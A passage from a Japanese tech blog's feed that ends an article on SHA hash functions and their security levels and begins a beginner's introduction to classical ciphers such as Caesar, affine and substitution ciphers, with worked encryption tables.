jax="SVG"><svg style="vertical-align: -0.566ex;" xmlns="http://www.w3.org/2000/svg" width="6.226ex" height="2.48ex" role="img" focusable="false" viewBox="0 -846 2751.9 1096"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D442" d="M740 435Q740 320 676 213T511 42T304 -22Q207 -22 138 35T51 201Q50 209 50 244Q50 346 98 438T227 601Q351 704 476 704Q514 704 524 703Q621 689 680 617T740 435ZM637 476Q637 565 591 615T476 665Q396 665 322 605Q242 542 200 428T157 216Q157 126 200 73T314 19Q404 19 485 98T608 313Q637 408 637 476Z"></path></g><g data-mml-node="mo" transform="translate(763,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="msup" transform="translate(1152,0)"><g data-mml-node="mn"><path data-c="32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 308T305 340T320 369T333 401T340 431T343 464Q343 527 309 573T212 619Q179 619 154 602T119 569T109 550Q109 549 114 549Q132 549 151 535T170 489Q170 464 154 447T109 429Z"></path></g><g data-mml-node="mi" transform="translate(533,363) scale(0.707)"><path data-c="1D441" d="M234 637Q231 637 226 637Q201 637 196 638T191 649Q191 676 202 682Q204 683 299 683Q376 683 387 683T401 677Q612 181 616 168L670 381Q723 592 723 606Q723 633 659 637Q635 637 635 648Q635 650 637 660Q641 676 643 679T653 683Q656 683 684 682T767 680Q817 680 843 681T873 682Q888 682 888 672Q888 650 880 642Q878 637 858 637Q787 633 769 597L620 7Q618 0 599 0Q585 0 582 2Q579 5 453 305L326 604L261 344Q196 88 196 79Q201 46 268 46H278Q284 41 284 38T282 19Q278 6 272 0H259Q228 2 151 2Q123 2 100 2T63 2T46 1Q31 1 31 10Q31 14 34 26T39 40Q41 46 62 46Q130 49 150 85Q154 91 221 362L289 634Q287 635 234 637Z"></path></g></g><g data-mml-node="mo" transform="translate(2362.9,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g></g></g></svg></mjx-container> となります。鍵長が 128 ビットであれば、これはおおよそ <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.05ex;" xmlns="http://www.w3.org/2000/svg" width="7.947ex" height="2.005ex" role="img" focusable="false" viewBox="0 -864 3512.6 886"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mn"><path data-c="33" d="M127 463Q100 463 85 480T69 524Q69 579 117 622T233 665Q268 665 277 664Q351 652 390 611T430 522Q430 470 396 421T302 350L299 348Q299 347 308 345T337 336T375 315Q457 262 457 175Q457 96 395 37T238 -22Q158 -22 100 21T42 130Q42 158 60 175T105 193Q133 193 151 175T169 130Q169 119 166 110T159 94T148 82T136 74T126 70T118 67L114 66Q165 21 238 21Q293 21 321 74Q338 107 338 175V195Q338 290 274 322Q259 328 213 329L171 330L168 332Q166 335 166 348Q166 366 174 366Q202 366 232 371Q266 376 294 413T322 525V533Q322 590 287 612Q265 626 240 626Q208 626 181 615T143 592T132 580H135Q138 579 143 578T153 573T165 566T175 555T183 540T186 520Q186 498 172 481T127 463Z"></path></g><g data-mml-node="mo" transform="translate(722.2,0)"><path data-c="D7" d="M630 29Q630 9 609 9Q604 9 587 25T493 118L389 222L284 117Q178 13 175 11Q171 9 168 9Q160 9 154 15T147 29Q147 36 161 51T255 146L359 250L255 354Q174 435 161 449T147 471Q147 480 153 485T168 490Q173 490 175 489Q178 487 284 383L389 278L493 382Q570 459 587 475T609 491Q630 491 630 471Q630 464 620 453T522 355L418 250L522 145Q606 61 618 48T630 29Z"></path></g><g data-mml-node="msup" transform="translate(1722.4,0)"><g data-mml-node="mn"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path><path data-c="30" d="M96 585Q152 666 249 666Q297 666 345 640T423 548Q460 465 460 320Q460 165 417 83Q397 41 362 16T301 -15T250 -22Q224 -22 198 -16T137 16T82 83Q39 165 39 320Q39 494 96 585ZM321 597Q291 629 250 629Q208 629 178 597Q153 571 145 525T137 333Q137 175 145 125T181 46Q209 16 250 16Q290 16 318 46Q347 76 354 130T362 333Q362 478 354 524T321 597Z" transform="translate(500,0)"></path></g><g data-mml-node="TeXAtom" transform="translate(1033,393.1) scale(0.707)" data-mjx-texclass="ORD"><g data-mml-node="mn"><path data-c="33" d="M127 463Q100 463 85 480T69 524Q69 579 117 622T233 665Q268 665 277 664Q351 652 390 611T430 522Q430 470 396 421T302 350L299 348Q299 347 308 345T337 336T375 315Q457 262 457 175Q457 96 395 37T238 -22Q158 -22 100 21T42 130Q42 158 60 175T105 193Q133 193 151 175T169 130Q169 119 166 110T159 94T148 82T136 74T126 70T118 67L114 66Q165 21 238 21Q293 21 321 74Q338 107 338 175V195Q338 290 274 322Q259 328 213 329L171 330L168 332Q166 335 166 348Q166 366 174 366Q202 366 232 371Q266 376 294 413T322 525V533Q322 590 287 612Q265 626 240 626Q208 626 181 615T143 592T132 580H135Q138 579 143 578T153 573T165 566T175 555T183 540T186 520Q186 498 172 481T127 463Z"></path><path data-c="38" d="M70 417T70 494T124 618T248 666Q319 666 374 624T429 515Q429 485 418 459T392 417T361 389T335 371T324 363L338 354Q352 344 366 334T382 323Q457 264 457 174Q457 95 399 37T249 -22Q159 -22 101 29T43 155Q43 263 172 335L154 348Q133 361 127 368Q70 417 70 494ZM286 386L292 390Q298 394 301 396T311 403T323 413T334 425T345 438T355 454T364 471T369 491T371 513Q371 556 342 586T275 624Q268 625 242 625Q201 625 165 599T128 534Q128 511 141 492T167 463T217 431Q224 426 228 424L286 386ZM250 21Q308 21 350 55T392 137Q392 154 387 169T375 194T353 216T330 234T301 253T274 270Q260 279 244 289T218 306L210 311Q204 311 181 294T133 239T107 157Q107 98 150 60T250 21Z" transform="translate(500,0)"></path></g></g></g></g></g></svg></mjx-container> の計算量で、これはスーパーコンピュータでも数兆年はかかる程度の計算量です。そのため、これは現実的には安全だろうと考えられます。</p>
<p>ハッシュ関数では、衝突困難性を破るのに必要なコストはおおよそ <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex;" xmlns="http://www.w3.org/2000/svg" width="7.826ex" height="2.587ex" role="img" focusable="false" viewBox="0 -893.3 3459 1143.3"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D442" d="M740 435Q740 320 676 213T511 42T304 -22Q207 -22 138 35T51 201Q50 209 50 244Q50 346 98 438T227 601Q351 704 476 704Q514 704 524 703Q621 689 680 617T740 435ZM637 476Q637 565 591 615T476 665Q396 665 322 605Q242 542 200 428T157 216Q157 126 200 73T314 19Q404 19 485 98T608 313Q637 408 637 476Z"></path></g><g data-mml-node="mo" transform="translate(763,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="msup" transform="translate(1152,0)"><g data-mml-node="mn"><path data-c="32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 308T305 340T320 369T333 401T340 431T343 464Q343 527 309 573T212 619Q179 619 154 602T119 569T109 550Q109 549 114 549Q132 549 151 535T170 489Q170 464 154 447T109 429Z"></path></g><g data-mml-node="TeXAtom" transform="translate(533,363) scale(0.707)" data-mjx-texclass="ORD"><g data-mml-node="mi"><path data-c="1D441" d="M234 637Q231 637 226 637Q201 637 196 638T191 649Q191 676 202 682Q204 683 299 683Q376 683 387 683T401 677Q612 181 616 168L670 381Q723 592 723 606Q723 633 659 637Q635 637 635 648Q635 650 637 660Q641 676 643 679T653 683Q656 683 684 682T767 680Q817 680 843 681T873 682Q888 682 888 672Q888 650 880 642Q878 637 858 637Q787 633 769 597L620 7Q618 0 599 0Q585 0 582 2Q579 5 453 305L326 604L261 344Q196 88 196 79Q201 46 268 46H278Q284 41 284 38T282 19Q278 6 272 0H259Q228 2 151 2Q123 2 100 2T63 2T46 1Q31 1 31 10Q31 14 34 26T39 40Q41 46 62 46Q130 49 150 85Q154 91 221 362L289 634Q287 635 234 637Z"></path></g><g data-mml-node="TeXAtom" data-mjx-texclass="ORD" transform="translate(888,0)"><g data-mml-node="mo"><path data-c="2F" d="M423 750Q432 750 438 744T444 730Q444 725 271 248T92 -240Q85 -250 75 -250Q68 -250 62 -245T56 -231Q56 -221 230 257T407 740Q411 750 423 750Z"></path></g></g><g data-mml-node="mn" transform="translate(1388,0)"><path data-c="32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 308T305 340T320 369T333 401T340 431T343 464Q343 527 309 573T212 619Q179 619 154 602T119 569T109 550Q109 549 114 549Q132 549 151 535T170 489Q170 464 154 447T109 429Z"></path></g></g></g><g data-mml-node="mo" transform="translate(3070,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g></g></g></svg></mjx-container> になっています。SHA-256は256ビットのハッシュ値を返すため、128ビットセキュリティになります。参考図書によれば「現在は128ビットセキュリティなら数十年は安全だろう」と考えられているそうです。それもあり、SHA-256は十分なセキュリティ要件を持ちつつ使いやすいということから広く利用されているようです。</p>
<p>SHA-512の方が安全なのに、なぜSHA-256の方が広く利用されているのか？ という点については、次のような背景があるようです。</p>
<ul>
<li>SHA-512の方がより安全ではあるが、SHA-256でも現時点では十分なセキュリティレベルがあり、かつその方がリソース使用量が小さくて済むため</li>
<li>広く利用されており、他のシステムやプロトコルとの互換性があるため</li>
<li>暗号技術が広く利用されているのはそれだけ検証が多くなされていることでもあり、信頼感があるため</li>
</ul>
<p>なお参考書籍によると、SHA-256およびSHA-512での内部構造を追っていくと、64ビットCPUで大きなデータを扱う場合には内部処理過程の関係でSHA-256よりSHA-512の方が高速に計算できるようです。これは知らなかったので、内部構造を知って驚きました。</p>
<p>なお、このような安全性というのはあくまで「現在の技術・攻撃手法の範囲で」安全というものであり、未来永劫安全というわけではありません。例えば、昨今発展している量子計算機を用いるとSHA-2の攻撃可能性が進展している研究もあります。また、よりよい攻撃手法が発見されて、セキュリティパラメータが下がる可能性もあります。ある日突然攻撃手法が発展し、人類は思い出した…ということになる可能性もあるので、注意は必要です。</p>
<h2 id="まとめ">まとめ</h2><p>本稿では暗号学的ハッシュ関数について整理し、その種類および歴史を追いました。自分はSHA-256には馴染みがありましたが、SHA3についてはあまり知らず、本稿を書く際に色々と学ぶことができて良い機会となりました。</p>
<p>あまり実装的な内容は書かないとのことなので、今回はコードについても記載していません。例えばGo言語では、SHA-256などは crypto パッケージに含まれているので、ご参照ください。</p>
<p>詳細を書ききれていないところも多くあるため、引用資料先のページなども参考にしていただけると幸いです。それでは快適なハッシュライフ(?)をお送りください。</p>
<h2 id="終わりに書籍の紹介">終わりに書籍の紹介</h2><p>本書は広く「暗号と認証」をテーマに解説している参考書です。全部で9章で構成されており、各章がいくつかのセクションごとに分かれていてまとめもあるため、テンポ良く読み進めることができます。</p>
<p>第3章から「共通鍵暗号」「公開鍵暗号」「認証」の解説があり、最終章には「高機能な暗号技術」と題してゼロ知識証明や量子コンピュータなどの解説がされます。</p>
<p>個人的に思う本書の大きな特徴は、数式の解説も交えて暗号技術を解説するという点にあると思います。離散対数問題や楕円曲線暗号といった、高度な暗号技術を学ぶために必要な概念の基本も説明されています。暗号技術を学ぶにはどうしても高度な数学が絡みますが、本書はその部分をなるべく平易に解説していて、暗号技術を学習するハードルを下げている点が高評価です。</p>
<p>ただし、その分読み手を選んでしまう本かなという印象です。理系出身の方や、基本情報技術者試験などを経てより詳細に暗号技術について知りたい、という意欲のある方には良いかもしれません。巻末も充実しているので、本書を起点にさらに深く学習していくのに役立つ本だと思います。</p>
<p>本記事はこれで終わります。最後まで読んでいただきありがとうございました。</p>
<p>アイキャッチ画像はBing Image Creatorを利用しました。</p>
]]></content>
    <summary type="html">暗号技術について学んでいると「ハッシュ値」という言葉に出会いますが、あまり詳細を追ったことはありませんでした。そこで今回はハッシュ関数およびその代表としてSHAに関する歴史や種類についてまとめます。</summary>
    <category term="Security" scheme="https://future-architect.github.io/categories/Security/"/>
    <category term="ハッシュ関数" scheme="https://future-architect.github.io/tags/%E3%83%8F%E3%83%83%E3%82%B7%E3%83%A5%E9%96%A2%E6%95%B0/"/>
    <category term="数式" scheme="https://future-architect.github.io/tags/%E6%95%B0%E5%BC%8F/"/>
    <category term="暗号" scheme="https://future-architect.github.io/tags/%E6%9A%97%E5%8F%B7/"/>
  </entry>
  <entry>
    <title>初心者が暗号の基礎と歴史を勉強して見た</title>
    <link href="https://future-architect.github.io/articles/20231102a/"/>
    <id>https://future-architect.github.io/articles/20231102a/</id>
    <published>2023-11-01T15:00:00.000Z</published>
    <updated>2023-11-01T15:00:00.000Z</updated>
    <author><name>斎藤大樹</name></author>
    <content type="html"><![CDATA[<img fetchpriority="high" src="/images/2023/20231102a/CipherDisk.jpg" alt="" width="800" height="800">

<p>秋のブログ週間2023 の4本目です。</p>
<p>こんにちは。金融グループ所属、新卒2年目の斎藤大樹です。</p>
<p>社会人になってから勉強する時間をなかなか取れていないなと思い、暗号の基礎と、暗号の進化の歴史を勉強してみました。<br>暗号をテーマに選んだ理由は、先日プロジェクト内の定期勉強会で先輩社員の方が暗号・認証についてお話してくれたのが興味深かったからです。</p>
<h2 id="書籍の紹介">書籍の紹介</h2><p>今回の勉強のお供は「Pythonでいかにして暗号を破るか」というソシム社出版の本です。<br>内容はどちらかというと古典暗号よりですが、暗号の基礎と歴史を学ぶにはもってこいです。<br>暗号だけでなく、Pythonの解説も豊富で、ソースコードも章が進むごとにレベルアップしていく構成になっているので、Pythonの初学者の方にもおすすめの一冊です。</p>
<h2 id="暗号とは何か">暗号とは何か</h2><p>本書によれば、暗号を構成する要素は「アルゴリズム」と「暗号鍵」の2つです。</p>
<p>暗号文は受信者が平文（暗号化される前の元の文章）を読み解けなければ意味がないので、出鱈目に作っていいわけではなく、どんな暗号文も一定のルール・決まり事をもとに作られています。このルールが暗号におけるアルゴリズムです。子供の頃に独自の暗号のルールを考え、暗号文を友達と交換して遊んだことのある方もいるのではないでしょうか。</p>
<p>一方、暗号鍵はその文字通り暗号文を解いて平文に戻すための鍵になります。鍵の形は数字だったり、文字列だったりと様々です。</p>
<p>ハッカーから身を守る上で重要なのは、ハッカーに「鍵」を知られないことです。ハッカーは暗号化のアルゴリズムは熟知しており、暗号を解く暗号鍵だけ知らないと考えなければなりません。鍵がいかにバレにくいかが、暗号の強固さの指標になります。</p>
<h2 id="暗号の進化の歴史を辿る">暗号の進化の歴史を辿る</h2><p>それでは、本書で紹介されている暗号をいくつかピックアップしながら、暗号の進化の歴史を辿っていきたいと思います。また、本書のタイトルは「Pythonでいかにして暗号を破るか」ですから、暗号のハッキング方法も簡単に紹介していきます（※法に触れるようなものではございません）</p>
<h3 id="シーザー暗号">シーザー暗号</h3><p>アルファベットをシフトすることで、メッセージの各文字を別の新しいを文字に置き換える暗号です。シーザー暗号においては、アルファベットをいくつ右にシフトするかの数字が暗号鍵になります。表1に鍵10でにアルファベットが変換した例を示します。シフトした結果がZを超えてしまった場合はAに戻ります（ラップアラウンド）。例えば、鍵10のときに「FUTURE ARCHITECT」という文字列を暗号化すると、「PEDEBO KBMRSDOMD」になります。</p>
<p><strong>表1：シーザー暗号の鍵10で暗号化した例</strong></p>
<div class="scroll"><table>
<thead>
<tr>
<th align="center">インデックス</th>
<th align="center">0</th>
<th align="center">1</th>
<th align="center">2</th>
<th align="center">3</th>
<th align="center">4</th>
<th align="center">5</th>
<th align="center">6</th>
<th align="center">7</th>
<th align="center">8</th>
<th align="center">9</th>
<th align="center">10</th>
<th align="center">11</th>
<th align="center">12</th>
<th align="center">13</th>
<th align="center">14</th>
<th align="center">15</th>
<th align="center">16</th>
<th align="center">17</th>
<th align="center">18</th>
<th align="center">19</th>
<th align="center">20</th>
<th align="center">21</th>
<th align="center">22</th>
<th align="center">23</th>
<th align="center">24</th>
<th align="center">25</th>
</tr>
</thead>
<tbody><tr>
<td align="center">平文の文字</td>
<td align="center">A</td>
<td align="center">B</td>
<td align="center">C</td>
<td align="center">D</td>
<td align="center">E</td>
<td align="center">F</td>
<td align="center">G</td>
<td align="center">H</td>
<td align="center">I</td>
<td align="center">J</td>
<td align="center">K</td>
<td align="center">L</td>
<td align="center">M</td>
<td align="center">N</td>
<td align="center">O</td>
<td align="center">P</td>
<td align="center">Q</td>
<td align="center">R</td>
<td align="center">S</td>
<td align="center">T</td>
<td align="center">U</td>
<td align="center">V</td>
<td align="center">W</td>
<td align="center">X</td>
<td align="center">Y</td>
<td align="center">Z</td>
</tr>
<tr>
<td align="center">暗号化後の文字</td>
<td align="center">K</td>
<td align="center">L</td>
<td align="center">M</td>
<td align="center">N</td>
<td align="center">O</td>
<td align="center">P</td>
<td align="center">Q</td>
<td align="center">R</td>
<td align="center">S</td>
<td align="center">T</td>
<td align="center">U</td>
<td align="center">V</td>
<td align="center">W</td>
<td align="center">X</td>
<td align="center">Y</td>
<td align="center">Z</td>
<td align="center">A</td>
<td align="center">B</td>
<td align="center">C</td>
<td align="center">D</td>
<td align="center">E</td>
<td align="center">F</td>
<td align="center">G</td>
<td align="center">H</td>
<td align="center">I</td>
<td align="center">J</td>
</tr>
</tbody></table></div>
<p>シーザー暗号のハッキングは簡単です。英語の文章の場合はアルファベットが26個なので、考えられる鍵の総数は25個です。短い文章であれば、25通り試せばいいだけですので、手作業でも簡単に解読できそうです（このように考えられる鍵をすべて試すような解読の手法は<strong>総当たり</strong>と言います）。もし日本語の場合はアルファベット（ひらがな、カタカナ、漢字）の個数が多いので手作業での総当たりは難しそうですが、コンピュータがあれば短時間で解読可能です。</p>
<p>シーザー暗号の名前の由来は、「ブルータス、お前もか」の格言でおなじみのジュリアス・シーザーです。シーザーは2000年前の軍人ですから、こんな大昔から暗号という概念があったというのは驚きです。</p>
<h3 id="乗法暗号とアフィン暗号">乗法暗号とアフィン暗号</h3><p>シーザー暗号では鍵の値だけアルファベットを加減算して文字を変換しましたが、<strong>乗法暗号</strong>ではアルファベットのインデックスに鍵の数をかけ合わせます。例えば、鍵5で文字Cを暗号化させたい場合、Cのインデックス2に鍵5をかけて、暗号化された文字のインデックス2×5=10を得ます。インデックス10に対応する文字はKです。</p>
<p>表2に、鍵5を使ってアルファベットA～Zを暗号化させた例を示します。シーザー暗号と同様に、暗号化後の文字がZを超える（インデックスが25を超える）場合はAに戻ります。このラップアラウンド処理の計算は「（インデックス×鍵） mod（アルファベットの個数）」で計算できます。例えば、鍵5のときに「FUTURE ARCHITECT」という文字列を暗号化すると、「ZWRWHU AHKJORUKR」になります。</p>
<p>乗法暗号を単独で使用すると、インデックス0の文字は暗号化後も同じ文字になってしまいます。そのため、乗法暗号で暗号化したのちに、シーザー暗号でさらに暗号化してやることで、より強力になります。このステップで作られた暗号は<strong>アフィン暗号</strong>と呼ばれます。</p>
<p><strong>表2：乗法暗号の鍵5で暗号化した例</strong></p>
<div class="scroll"><table>
<thead>
<tr>
<th align="center">インデックス</th>
<th align="center">0</th>
<th align="center">1</th>
<th align="center">2</th>
<th align="center">3</th>
<th align="center">4</th>
<th align="center">5</th>
<th align="center">6</th>
<th align="center">7</th>
<th align="center">8</th>
<th align="center">9</th>
<th align="center">10</th>
<th align="center">11</th>
<th align="center">12</th>
<th align="center">13</th>
<th align="center">14</th>
<th align="center">15</th>
<th align="center">16</th>
<th align="center">17</th>
<th align="center">18</th>
<th align="center">19</th>
<th align="center">20</th>
<th align="center">21</th>
<th align="center">22</th>
<th align="center">23</th>
<th align="center">24</th>
<th align="center">25</th>
</tr>
</thead>
<tbody><tr>
<td align="center">平文の文字</td>
<td align="center">A</td>
<td align="center">B</td>
<td align="center">C</td>
<td align="center">D</td>
<td align="center">E</td>
<td align="center">F</td>
<td align="center">G</td>
<td align="center">H</td>
<td align="center">I</td>
<td align="center">J</td>
<td align="center">K</td>
<td align="center">L</td>
<td align="center">M</td>
<td align="center">N</td>
<td align="center">O</td>
<td align="center">P</td>
<td align="center">Q</td>
<td align="center">R</td>
<td align="center">S</td>
<td align="center">T</td>
<td align="center">U</td>
<td align="center">V</td>
<td align="center">W</td>
<td align="center">X</td>
<td align="center">Y</td>
<td align="center">Z</td>
</tr>
<tr>
<td align="center">インデックス×鍵</td>
<td align="center">0</td>
<td align="center">5</td>
<td align="center">10</td>
<td align="center">15</td>
<td align="center">20</td>
<td align="center">25</td>
<td align="center">30</td>
<td align="center">35</td>
<td align="center">40</td>
<td align="center">45</td>
<td align="center">50</td>
<td align="center">55</td>
<td align="center">60</td>
<td align="center">65</td>
<td align="center">70</td>
<td align="center">75</td>
<td align="center">80</td>
<td align="center">85</td>
<td align="center">90</td>
<td align="center">95</td>
<td align="center">100</td>
<td align="center">105</td>
<td align="center">110</td>
<td align="center">115</td>
<td align="center">120</td>
<td align="center">125</td>
</tr>
<tr>
<td align="center">（インデックス×鍵）mod 26</td>
<td align="center">0</td>
<td align="center">5</td>
<td align="center">10</td>
<td align="center">15</td>
<td align="center">20</td>
<td align="center">25</td>
<td align="center">4</td>
<td align="center">9</td>
<td align="center">14</td>
<td align="center">19</td>
<td align="center">24</td>
<td align="center">3</td>
<td align="center">8</td>
<td align="center">13</td>
<td align="center">18</td>
<td align="center">23</td>
<td align="center">2</td>
<td align="center">7</td>
<td align="center">12</td>
<td align="center">17</td>
<td align="center">22</td>
<td align="center">1</td>
<td align="center">6</td>
<td align="center">11</td>
<td align="center">16</td>
<td align="center">21</td>
</tr>
<tr>
<td align="center">暗号化後の文字</td>
<td align="center">A</td>
<td align="center">F</td>
<td align="center">K</td>
<td align="center">P</td>
<td align="center">U</td>
<td align="center">Z</td>
<td align="center">E</td>
<td align="center">J</td>
<td align="center">O</td>
<td align="center">T</td>
<td align="center">Y</td>
<td align="center">D</td>
<td align="center">I</td>
<td align="center">N</td>
<td align="center">S</td>
<td align="center">X</td>
<td align="center">C</td>
<td align="center">H</td>
<td align="center">M</td>
<td align="center">R</td>
<td align="center">W</td>
<td align="center">B</td>
<td align="center">G</td>
<td align="center">L</td>
<td align="center">Q</td>
<td align="center">V</td>
</tr>
</tbody></table></div>
<p>26文字のアルファベットに対するシーザー暗号の鍵の個数は25個しかありませんでしたが、アフィン暗号では2つの鍵を組み合わせるため、鍵の総数は数百通りとなります。このように、アフィン暗号はシーザー暗号よりは遥かに安全になったものの、総当たりによるハッキングはまだまだ容易に出来てしまいます。</p>
<h3 id="単一換字式暗号">単一換字式暗号</h3><p>シーザー暗号やアフィン暗号のように鍵の総数が少ない暗号は総当たりが容易です。その問題を解決するのが<strong>単一換字式暗号</strong>です。<br>単一換字式暗号では変換後の文字を、送信者が「AはYに、BはJに変えよう」という具合に、重複のないように任意に決定します（重複があると、復号の時に困ってしまいます）。「え、そんなのでアルゴリズムって呼べるの？」という気もしますが、26文字のアルファベットを暗号化する場合の鍵の総数は<mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.229ex;" xmlns="http://www.w3.org/2000/svg" width="13.855ex" height="2.183ex" role="img" focusable="false" viewBox="0 -864 6124.1 965"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mn"><path data-c="32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 308T305 340T320 369T333 401T340 431T343 464Q343 527 309 573T212 619Q179 619 154 602T119 569T109 550Q109 549 114 549Q132 549 151 535T170 489Q170 464 154 447T109 429Z"></path><path data-c="36" d="M42 313Q42 476 123 571T303 666Q372 666 402 630T432 550Q432 525 418 510T379 495Q356 495 341 509T326 548Q326 592 373 601Q351 623 311 626Q240 626 194 566Q147 500 147 364L148 360Q153 366 156 373Q197 433 263 433H267Q313 433 348 414Q372 400 396 374T435 317Q456 268 456 210V192Q456 169 451 149Q440 90 387 34T253 -22Q225 -22 199 -14T143 16T92 75T56 172T42 313ZM257 397Q227 397 205 380T171 335T154 278T148 216Q148 133 160 97T198 39Q222 21 251 21Q302 21 329 59Q342 77 347 104T352 209Q352 289 347 316T329 361Q302 397 257 397Z" transform="translate(500,0)"></path></g><g data-mml-node="mo" transform="translate(1000,0)"><path data-c="21" d="M78 661Q78 682 96 699T138 716T180 700T199 661Q199 654 179 432T158 206Q156 198 139 198Q121 198 119 206Q118 209 98 431T78 661ZM79 61Q79 89 97 105T141 121Q164 119 181 104T198 61Q198 31 181 16T139 1Q114 1 97 16T79 61Z"></path></g><g data-mml-node="mo" transform="translate(1555.8,0)"><path data-c="2252" d="M15 541Q15 569 33 585T75 601T117 585T135 541Q135 514 118 498T75 481T32 498T15 541ZM56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153ZM642 -41Q642 -17 658 0T702 18Q726 18 744 3T762 -41Q762 -67 745 -84T702 -101Q676 -101 659 -85T642 -41Z"></path></g><g data-mml-node="mn" transform="translate(2611.6,0)"><path data-c="34" d="M462 0Q444 3 333 3Q217 3 199 0H190V46H221Q241 46 248 46T265 48T279 53T286 61Q287 63 287 115V165H28V211L179 442Q332 674 334 675Q336 677 355 677H373L379 671V211H471V165H379V114Q379 73 379 66T385 54Q393 47 442 46H471V0H462ZM293 211V545L74 212L183 211H293Z"></path></g><g data-mml-node="mo" transform="translate(3333.8,0)"><path data-c="D7" d="M630 29Q630 9 609 9Q604 9 587 25T493 118L389 222L284 117Q178 13 175 11Q171 9 168 9Q160 9 154 15T147 29Q147 36 161 51T255 146L359 250L255 354Q174 435 161 449T147 471Q147 480 153 485T168 490Q173 490 175 489Q178 487 284 383L389 278L493 382Q570 459 587 475T609 491Q630 491 630 471Q630 464 620 453T522 355L418 250L522 145Q606 61 618 48T630 29Z"></path></g><g data-mml-node="msup" transform="translate(4334,0)"><g data-mml-node="mn"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path><path data-c="30" d="M96 585Q152 666 249 666Q297 666 345 640T423 548Q460 465 460 320Q460 165 417 83Q397 41 362 16T301 -15T250 -22Q224 -22 198 -16T137 16T82 83Q39 165 39 320Q39 494 96 585ZM321 597Q291 629 250 629Q208 629 178 597Q153 571 145 525T137 333Q137 175 145 125T181 46Q209 16 250 16Q290 16 318 46Q347 76 354 130T362 333Q362 478 354 524T321 597Z" transform="translate(500,0)"></path></g><g data-mml-node="TeXAtom" transform="translate(1033,393.1) scale(0.707)" data-mjx-texclass="ORD"><g data-mml-node="mn"><path data-c="32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 308T305 340T320 369T333 401T340 431T343 464Q343 527 309 573T212 619Q179 619 154 602T119 569T109 550Q109 549 114 549Q132 549 151 535T170 489Q170 464 154 447T109 429Z"></path><path data-c="36" d="M42 313Q42 476 123 571T303 666Q372 666 402 630T432 550Q432 525 418 510T379 495Q356 495 341 509T326 548Q326 592 373 601Q351 623 311 626Q240 626 194 566Q147 500 147 364L148 